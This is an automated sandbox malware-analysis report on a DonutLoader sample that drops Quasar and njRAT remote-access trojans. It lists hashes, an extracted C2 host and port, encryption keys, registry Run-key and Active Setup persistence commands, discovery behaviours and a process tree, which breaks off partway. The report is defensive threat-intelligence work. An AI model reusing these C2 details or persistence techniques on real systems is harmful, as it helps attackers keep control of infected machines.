donutloader | 46080f459577529059ace98473cfd80693744444c8ef828ff5f7377eb10906a0

Analysis

max time kernel
149s
max time network
152s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
14/11/2026, 03:38

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2eef62668e8a3ef3124b823f990809c8.exe
Size 2.8MB
Sample261114-d65b3sct2y
SHA256 46080f459577529059ace98473cfd80693744444c8ef828ff5f7377eb10906a0
MD5 2eef62668e8a3ef3124b823f990809c8
SHA1 9f920216394dd90e679fc00760ac1b1d7f1bf74d
SHA512 10b45bae7737964a295b8f9fd6971e9b0760cbae3fe9e05ba18481f993d4f55ab0dcaf03cab77bed96c5de9fa5d5efada06c1edff0fc4baa1228286e14b1e05c
SSDEEP 49152:mBeVODQk/79BnSuoI09+HhyFGwf1HmznWRmxel/+q4Dp:MeVORZEHI0QHgswfBoesq4Dp
TLSH
T100D5333F8244DE5DCB51753C0B66E2FAF6161C0724016F92D26BBAFA8F5415BEE242C8
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

honeysteam defense_evasion discovery execution donutloader njrat quasar loader module persistence privilege_escalation rat spyware trojan

Malware Config

Extracted

Family

quasar

Attributes

encryption_key
6D14F6DAC4C83A0E876468CF4054D970F9D50856
key_salt
5a23f8394640cb9e40658446a04c0bbae82dc93d0470e1b2a406a90fd2520382
reconnect_delay
3000

Extracted

Family

njrat

Version

0.7d

Botnet

honeysteam

steamupdate.ydns.eu:5553

Mutex

dc2b30d9dc167c8d0747aeab32b0a469

Attributes

reg_key
dc2b30d9dc167c8d0747aeab32b0a469
splitter
|'|'|

Signatures

Family: DonutLoader
DonutLoader is a position-independent code that enables in-memory execution of VBScript, JScript, EXE, DLL files and dotNET assemblies.
loader donutloader
Family: Quasar RAT
Quasar is an open source Remote Access Tool.
trojan spyware quasar
Family: njRAT/Bladabindi
Widely used RAT written in .NET.
trojan njrat

Detects DonutLoader 1 IoCs

loader

resource	yara_rule
behavioral2/memory/6068-28-0x0000026F69560000-0x0000026F696E5000-memory.dmp	family_donutloader

PulsaRAT library module 2 IoCs

Core component of the PulsaRAT remote access trojan, implementing its command protocol for hidden remote desktop, UAC bypass, persistence, and credential theft.

rat module

resource	yara_rule
behavioral2/memory/6068-40-0x0000026F69F40000-0x0000026F6A0C6000-memory.dmp	pulsarat_module
behavioral2/memory/6068-42-0x0000026F68FB0000-0x0000026F68FE0000-memory.dmp	pulsarat_module

Quasar payload 1 IoCs

resource	yara_rule
behavioral2/memory/6068-40-0x0000026F69F40000-0x0000026F6A0C6000-memory.dmp	family_quasar

Badlisted process makes network request 15 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
11	5932	wscript.exe
12	3644	wscript.exe
14	3644	wscript.exe
15	5932	wscript.exe
84	3644	wscript.exe
123	3644	wscript.exe
127	3644	wscript.exe
129	5932	wscript.exe
132	3644	wscript.exe
139	3644	wscript.exe
142	3644	wscript.exe
146	5932	wscript.exe
148	3644	wscript.exe
153	3644	wscript.exe
169	3644	wscript.exe

Boot or Logon Autostart Execution: Active Setup 2 TTPs 6 IoCs

Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine.

persistence

Active Setup

T1547.014

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Active Setup\Installed Components\{A1B2C3D4-E5F6-7890-ABCD-EF1234567890}	Torrent (1).exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Active Setup\Installed Components\{A1B2C3D4-E5F6-7890-ABCD-EF1234567890}\StubPath = "C:\\Users\\Admin\\AppData\\Local\\Temp\\Torrent (1).exe"	Torrent (1).exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Active Setup\Installed Components\{A1B2C3D4-E5F6-7890-ABCD-EF1234567890}	Torrent (1).exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Active Setup\Installed Components\{A1B2C3D4-E5F6-7890-ABCD-EF1234567890}\StubPath = "C:\\Users\\Admin\\AppData\\Local\\Temp\\Torrent (1).exe"	Torrent (1).exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Active Setup\Installed Components\{A1B2C3D4-E5F6-7890-ABCD-EF1234567890}	Torrent (1).exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Active Setup\Installed Components\{A1B2C3D4-E5F6-7890-ABCD-EF1234567890}\StubPath = "C:\\Users\\Admin\\AppData\\Local\\Temp\\Torrent (1).exe"	Torrent (1).exe

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1520	powershell.exe
2980	powershell.exe
6232	powershell.exe
7084	powershell.exe

Modifies Windows Firewall 2 TTPs 1 IoCs

defense_evasion

Windows Service

T1543.003

Disable or Modify System Firewall

T1562.004

pid	Process
5268	netsh.exe

Creates a file in the Startup directory 1 TTPs 6 IoCs

A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

persistence privilege_escalation

Registry Run Keys / Startup Folder

T1547.001

description	ioc	Process
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Torrent (2).js	wscript.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WindowsUpdateService.exe	Torrent (1).exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Torrent (3).JS	WScript.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Torrent (2).js	WScript.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WindowsUpdateService.exe	Torrent (1).exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Torrent (3).JS	wscript.exe

Executes dropped EXE 6 IoCs

pid	Process
3756	Torrent+ Installer.exe
6068	Torrent (1).exe
1204	Torrent (1).exe
6132	1ek1WXFZ.exe
6128	1ek1WXFZ.exe
6200	Torrent (1).exe

Adds Run key to start application 2 TTPs 11 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\Torrent (3) = "wscript.exe //B \"C:\\Users\\Admin\\AppData\\Roaming\\Torrent (3).JS\""	WScript.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1404337215-1550464601-2805570857-1000\Software\Microsoft\Windows\CurrentVersion\Run\Torrent (2) = "wscript.exe //B \"C:\\Users\\Admin\\AppData\\Roaming\\Torrent (2).js\""	WScript.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1404337215-1550464601-2805570857-1000\Software\Microsoft\Windows\CurrentVersion\Run\WindowsSecHealth = "C:\\Users\\Admin\\AppData\\Local\\Temp\\Torrent (1).exe"	Torrent (1).exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1404337215-1550464601-2805570857-1000\Software\Microsoft\Windows\CurrentVersion\Run\Torrent (3) = "wscript.exe //B \"C:\\Users\\Admin\\AppData\\Roaming\\Torrent (3).JS\""	wscript.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\Torrent (3) = "wscript.exe //B \"C:\\Users\\Admin\\AppData\\Roaming\\Torrent (3).JS\""	wscript.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1404337215-1550464601-2805570857-1000\Software\Microsoft\Windows\CurrentVersion\Run\1ek1WXFZ = "C:\\Windows\\1ek1WXFZ_cache\\1ek1WXFZ.exe"	WScript.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\Torrent (2) = "wscript.exe //B \"C:\\Users\\Admin\\AppData\\Roaming\\Torrent (2).js\""	wscript.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1404337215-1550464601-2805570857-1000\Software\Microsoft\Windows\CurrentVersion\Run\WindowsSecHealth = "C:\\Users\\Admin\\AppData\\Local\\Temp\\Torrent (1).exe"	Torrent (1).exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1404337215-1550464601-2805570857-1000\Software\Microsoft\Windows\CurrentVersion\Run\Torrent (3) = "wscript.exe //B \"C:\\Users\\Admin\\AppData\\Roaming\\Torrent (3).JS\""	WScript.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\Torrent (2) = "wscript.exe //B \"C:\\Users\\Admin\\AppData\\Roaming\\Torrent (2).js\""	WScript.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1404337215-1550464601-2805570857-1000\Software\Microsoft\Windows\CurrentVersion\Run\Torrent (2) = "wscript.exe //B \"C:\\Users\\Admin\\AppData\\Roaming\\Torrent (2).js\""	wscript.exe

Looks up external IP address via web service 1 TTPs 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

discovery

Internet Connection Discovery

T1016.001

flow	ioc
1	ip-api.com

Executes a VBScript file via the Windows Script Host. 1 TTPs 1 IoCs

execution

Visual Basic

T1059.005

pid	Process
3140	WScript.exe

Drops file in Windows directory 4 IoCs

description	ioc	Process
File created	C:\Windows\1ek1WXFZ_cache\1ek1WXFZ.exe	WScript.exe
File opened for modification	C:\Windows\1ek1WXFZ_cache	WScript.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_t5qlazct.xaz.ps1	powershell.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_gfq4rxtv.azb.psm1	powershell.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe

Reads the TCP/IP host and domain name from the registry 1 TTPs 10 IoCs

The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

discovery

System Network Configuration Discovery

T1016

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	wscript.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	Torrent (1).exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	wscript.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	Torrent+ Installer.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	Torrent+ Installer.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	1ek1WXFZ.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	1ek1WXFZ.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	wscript.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	Torrent (1).exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	wscript.exe

System Location Discovery: System Language Discovery 1 TTPs 10 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	1ek1WXFZ.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	1ek1WXFZ.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	2eef62668e8a3ef3124b823f990809c8.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	wscript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	wscript.exe

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
4564	msedge.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe

Modifies data under HKEY_USERS 41 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe

Modifies registry class 6 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{A8CDFF1C-4878-43be-B5FD-F8091C1C60D0}\Instance\	WScript.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{A8CDFF1C-4878-43be-B5FD-F8091C1C60D0}\Instance\	WScript.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{A8CDFF1C-4878-43be-B5FD-F8091C1C60D0}\Instance\	wscript.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{A8CDFF1C-4878-43be-B5FD-F8091C1C60D0}\Instance\	wscript.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-1404337215-1550464601-2805570857-1000\{2751AC29-B80C-4001-BE19-361C0A02456B}	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-1404337215-1550464601-2805570857-1000_Classes\Local Settings	2eef62668e8a3ef3124b823f990809c8.exe

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
6068	Torrent (1).exe

Suspicious behavior: EnumeratesProcesses 8 IoCs

pid	Process
1520	powershell.exe
1520	powershell.exe
1520	powershell.exe
2980	powershell.exe
2980	powershell.exe
2980	powershell.exe
6232	powershell.exe
6232	powershell.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 6 IoCs

pid	Process
1468	msedge.exe
1468	msedge.exe
1468	msedge.exe
1468	msedge.exe
1468	msedge.exe
1468	msedge.exe

Suspicious use of AdjustPrivilegeToken 24 IoCs

description	pid	Process
Token: SeDebugPrivilege	6068	Torrent (1).exe
Token: SeDebugPrivilege	1520	powershell.exe
Token: SeDebugPrivilege	1204	Torrent (1).exe
Token: SeDebugPrivilege	2980	powershell.exe
Token: SeDebugPrivilege	3756	Torrent+ Installer.exe
Token: SeDebugPrivilege	6132	1ek1WXFZ.exe
Token: 33	6132	1ek1WXFZ.exe
Token: SeIncBasePriorityPrivilege	6132	1ek1WXFZ.exe
Token: 33	6132	1ek1WXFZ.exe
Token: SeIncBasePriorityPrivilege	6132	1ek1WXFZ.exe
Token: 33	6132	1ek1WXFZ.exe
Token: SeIncBasePriorityPrivilege	6132	1ek1WXFZ.exe
Token: 33	6132	1ek1WXFZ.exe
Token: SeIncBasePriorityPrivilege	6132	1ek1WXFZ.exe
Token: 33	6132	1ek1WXFZ.exe
Token: SeIncBasePriorityPrivilege	6132	1ek1WXFZ.exe
Token: 33	6132	1ek1WXFZ.exe
Token: SeIncBasePriorityPrivilege	6132	1ek1WXFZ.exe
Token: 33	6132	1ek1WXFZ.exe
Token: SeIncBasePriorityPrivilege	6132	1ek1WXFZ.exe
Token: 33	6132	1ek1WXFZ.exe
Token: SeIncBasePriorityPrivilege	6132	1ek1WXFZ.exe
Token: SeDebugPrivilege	6232	powershell.exe
Token: SeDebugPrivilege	6200	Torrent (1).exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
1468	msedge.exe

Suspicious use of WriteProcessMemory 52 IoCs

description	pid	Process	procid_target
PID 6072 wrote to memory of 3756	6072	2eef62668e8a3ef3124b823f990809c8.exe	90
PID 6072 wrote to memory of 6068	6072	2eef62668e8a3ef3124b823f990809c8.exe	91
PID 6068 wrote to memory of 1520	6068	Torrent (1).exe	92
PID 6072 wrote to memory of 4632	6072	2eef62668e8a3ef3124b823f990809c8.exe	94
PID 6072 wrote to memory of 3140	6072	2eef62668e8a3ef3124b823f990809c8.exe	95
PID 6072 wrote to memory of 4828	6072	2eef62668e8a3ef3124b823f990809c8.exe	97
PID 6072 wrote to memory of 3652	6072	2eef62668e8a3ef3124b823f990809c8.exe	98
PID 3652 wrote to memory of 5932	3652	WScript.exe	99
PID 1204 wrote to memory of 2980	1204	Torrent (1).exe	101
PID 4828 wrote to memory of 3644	4828	WScript.exe	103
PID 4632 wrote to memory of 6132	4632	WScript.exe	106
PID 6132 wrote to memory of 5268	6132	1ek1WXFZ.exe	113
PID 3756 wrote to memory of 1468	3756	Torrent+ Installer.exe	115
PID 1468 wrote to memory of 2136	1468	msedge.exe	116
PID 1468 wrote to memory of 5336	1468	msedge.exe	118
PID 1468 wrote to memory of 4564	1468	msedge.exe	119
PID 1468 wrote to memory of 5336	1468	msedge.exe	118
PID 1468 wrote to memory of 5336	1468	msedge.exe	118
PID 1468 wrote to memory of 1452	1468	msedge.exe	120
PID 1468 wrote to memory of 5672	1468	msedge.exe	121
PID 1468 wrote to memory of 1452	1468	msedge.exe	120
PID 1468 wrote to memory of 5672	1468	msedge.exe	121
PID 1468 wrote to memory of 5672	1468	msedge.exe	121
PID 1468 wrote to memory of 5740	1468	msedge.exe	122
PID 1468 wrote to memory of 5740	1468	msedge.exe	122
PID 1468 wrote to memory of 5740	1468	msedge.exe	122
PID 1468 wrote to memory of 2164	1468	msedge.exe	124
PID 1468 wrote to memory of 2164	1468	msedge.exe	124
PID 1468 wrote to memory of 2164	1468	msedge.exe	124
PID 1468 wrote to memory of 2160	1468	msedge.exe	123
PID 1468 wrote to memory of 2160	1468	msedge.exe	123
PID 1468 wrote to memory of 2160	1468	msedge.exe	123
PID 1468 wrote to memory of 4536	1468	msedge.exe	125
PID 1468 wrote to memory of 4536	1468	msedge.exe	125
PID 1468 wrote to memory of 2676	1468	msedge.exe	128
PID 1468 wrote to memory of 1896	1468	msedge.exe	129
PID 1468 wrote to memory of 2676	1468	msedge.exe	128
PID 1468 wrote to memory of 1896	1468	msedge.exe	129
PID 1468 wrote to memory of 1656	1468	msedge.exe	132
PID 1468 wrote to memory of 1656	1468	msedge.exe	132
PID 1468 wrote to memory of 1656	1468	msedge.exe	132
PID 1468 wrote to memory of 5060	1468	msedge.exe	134
PID 1468 wrote to memory of 996	1468	msedge.exe	137
PID 1468 wrote to memory of 996	1468	msedge.exe	137
PID 1468 wrote to memory of 3452	1468	msedge.exe	138
PID 1468 wrote to memory of 3452	1468	msedge.exe	138
PID 1468 wrote to memory of 6828	1468	msedge.exe	140
PID 1468 wrote to memory of 6836	1468	msedge.exe	141
PID 1468 wrote to memory of 6844	1468	msedge.exe	142
PID 1468 wrote to memory of 248	1468	msedge.exe	143
PID 1468 wrote to memory of 248	1468	msedge.exe	143
PID 6200 wrote to memory of 6232	6200	Torrent (1).exe	146

C:\Users\Admin\AppData\Local\Temp\2eef62668e8a3ef3124b823f990809c8.exe
"C:\Users\Admin\AppData\Local\Temp\2eef62668e8a3ef3124b823f990809c8.exe"
1⤵
- System Location Discovery: System Language Discovery
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:6072
- C:\Users\Admin\AppData\Local\Temp\Torrent+ Installer.exe
  "C:\Users\Admin\AppData\Local\Temp\Torrent+ Installer.exe"
  2⤵
  - Executes dropped EXE
  - Reads the TCP/IP host and domain name from the registry
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3756
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://apps.microsoft.com/store/detail/9NRLSXZTVRK5?ocid=&referrer=psi
    3⤵
    - Enumerates system info in registry
    - Modifies registry class
    - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of WriteProcessMemory
    PID:1468
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x2f4,0x2f8,0x2fc,0x2f0,0x2cc,0x7ffb14abc188,0x7ffb14abc194,0x7ffb14abc1a0
      4⤵
      PID:2136
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1544,i,8652979705798742108,18384669694723354835,262144 --field-trial-handle=2160,i,11429521360521278030,9114424026475680383,262144 --variations-seed-version --mojo-platform-channel-handle=1392 /prefetch:2
      4⤵
      PID:5336
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1728,i,4498731653127975501,11924439805796476178,524288 --field-trial-handle=2160,i,11429521360521278030,9114424026475680383,262144 --variations-seed-version --mojo-platform-channel-handle=3324 /prefetch:11
      4⤵
      System Time Discovery
      PID:4564
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2172,i,14494642395954539974,7154045590261574074,524288 --field-trial-handle=2160,i,11429521360521278030,9114424026475680383,262144 --variations-seed-version --mojo-platform-channel-handle=3596 /prefetch:13
      4⤵
      PID:1452
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3272,i,5538282580685840035,37886766272578954,2097152 --field-trial-handle=2160,i,11429521360521278030,9114424026475680383,262144 --variations-seed-version --mojo-platform-channel-handle=3708 /prefetch:1
      4⤵
      PID:5672
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
